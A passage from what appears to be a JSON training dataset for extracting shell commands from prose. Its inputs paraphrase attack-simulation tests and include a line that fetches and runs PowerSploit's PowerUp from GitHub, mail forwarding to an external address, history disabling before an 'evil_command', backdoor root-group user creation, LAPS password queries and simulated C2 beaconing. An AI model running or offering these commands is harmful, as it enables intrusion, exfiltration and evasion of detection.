https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To set up email forwarding to an external recipient, you can use the following command sequence: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nNew-InboxRule -Name \"#{rule_name}\" -ForwardTo \"#{forwarding_email}\"\n; To perform basic permission groups discovery on Windows, use the following commands, which may display errors on non-domain computers and will show domain information when executed: net localgroup\nnet group /domain\nnet group \"enterprise admins\" /domain\nnet group \"domain admins\" /domain\n",
    "output": "{\"command_list\": [\"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\nNew-InboxRule -Name \\\"#{rule_name}\\\" -ForwardTo \\\"#{forwarding_email}\\\"\\n\", \"net localgroup\\nnet group /domain\\nnet group \\\"enterprise admins\\\" /domain\\nnet group \\\"domain admins\\\" /domain\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For retrieving all AD computer properties including LAPS attributes, execute this PowerShell command: Get-ADComputer #{hostname} -Properties *; The PowerShell command Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime is used here to query LDAP and display Microsoft LAPS attributes.",
    "output": "{\"command_list\": [\"Get-ADComputer #{hostname} -Properties *\", \"Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Prevent commands from being recorded in shell history by executing: export HISTCONTROL=ignoreboth\n#{evil_command}\n; Shell history can be disabled by executing this command: export HISTSIZE=0\n#{evil_command}\n",
    "output": "{\"command_list\": [\"export HISTCONTROL=ignoreboth\\n#{evil_command}\\n\", \"export HISTSIZE=0\\n#{evil_command}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For creating an inbox rule that forwards messages to another email address, execute this PowerShell command: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nNew-InboxRule -Name \"#{rule_name}\" -ForwardTo \"#{forwarding_email}\"\n; For basic Windows permission group discovery, execute the following command sequence that shows domain information and may produce errors on standalone machines: net localgroup\nnet group /domain\nnet group \"enterprise admins\" /domain\nnet group \"domain admins\" /domain\n",
    "output": "{\"command_list\": [\"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\nNew-InboxRule -Name \\\"#{rule_name}\\\" -ForwardTo \\\"#{forwarding_email}\\\"\\n\", \"net localgroup\\nnet group /domain\\nnet group \\\"enterprise admins\\\" /domain\\nnet group \\\"domain admins\\\" /domain\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can create a dev tunnel bound to your local service by executing this command: nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &; To create a hidden file within a hidden directory, use the following command:\nmkdir /var/tmp/.hidden-directory\necho \"T1564.001\" > /var/tmp/.hidden-directory/.hidden-file\n",
    "output": "{\"command_list\": [\"nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &\\n\", \"mkdir /var/tmp/.hidden-directory\\necho \\\"T1564.001\\\" > /var/tmp/.hidden-directory/.hidden-file\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique from the Butter attack campaign creates a privileged user by executing this command:\nuseradd -g 0 -M -d /root -s /bin/bash #{username}\nif [ $(cat /etc/os-release | grep -i 'Name=\"ubuntu\"') ]; then echo \"#{username}:#{password}\" | sudo chpasswd; else echo \"#{password}\" | passwd --stdin #{username}; fi;; This method creates a privileged user in FreeBSD, as seen in the Butter campaign, with the command:\npw useradd #{username} -g 0 -d /root -s /bin/sh\necho \"#{password}\" | pw usermod #{username} -h 0",
    "output": "{\"command_list\": [\"useradd -g 0 -M -d /root -s /bin/bash #{username}\\nif [ $(cat /etc/os-release | grep -i 'Name=\\\"ubuntu\\\"') ]; then echo \\\"#{username}:#{password}\\\" | sudo chpasswd; else echo \\\"#{password}\\\" | passwd --stdin #{username}; fi;\\n\", \"pw useradd #{username} -g 0 -d /root -s /bin/sh\\necho \\\"#{password}\\\" | pw usermod #{username} -h 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Inspired by APTSimulator, this test mimics C2 beaconing activity silently. You can analyze the session by recording it with Wireshark and executing the following command to observe various user agent strings:\nInvoke-WebRequest #{domain} -UserAgent \"HttpBrowser/1.0\" | out-null\nInvoke-WebRequest #{domain} -UserAgent \"Wget/1.9+cvs-stable (Red Hat modified)\" | out-null\nInvoke-WebRequest #{domain} -UserAgent \"Opera/8.81 (Windows NT 6.0; U; en)\" | out-null\nInvoke-WebRequest #{domain} -UserAgent \"*<|>*\" | out-null\n; This test simulates an infected host beaconing to command and control, which can be executed using the following command:\ncurl -s -A \"HttpBrowser/1.0\" -m3 #{domain}\ncurl -s -A \"Wget/1.9+cvs-stable (Red Hat modified)\" -m3 #{domain}\ncurl -s -A \"Opera/8.81 (Windows NT 6.0; U; en)\" -m3 #{domain}\ncurl -s -A \"*<|>*\" -m3 #{domain}\n",
    "output": "{\"command_list\": [\"Invoke-WebRequest #{domain} -UserAgent \\\"HttpBrowser/1.0\\\" | out-null\\nInvoke-WebRequest #{domain} -UserAgent \\\"Wget/1.9+cvs-stable (Red Hat modified)\\\" | out-null\\nInvoke-WebRequest #{domain} -UserAgent \\\"Opera/8.81 (Windows NT 6.0; U; en)\\\" | out-null\\nInvoke-WebRequest #{domain} -UserAgent \\\"*<|>*\\\" | out-null\\n\", \"curl -s -A \\\"HttpBrowser/1.0\\\" -m3 #{domain}\\ncurl -s -A \\\"Wget/1.9+cvs-stable (Red Hat modified)\\\" -m3 #{domain}\\ncurl -s -A \\\"Opera/8.81 (Windows NT 6.0; U; en)\\\" -m3 #{domain}\\ncurl -s -A \\\"*<|>*\\\" -m3 #{domain}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 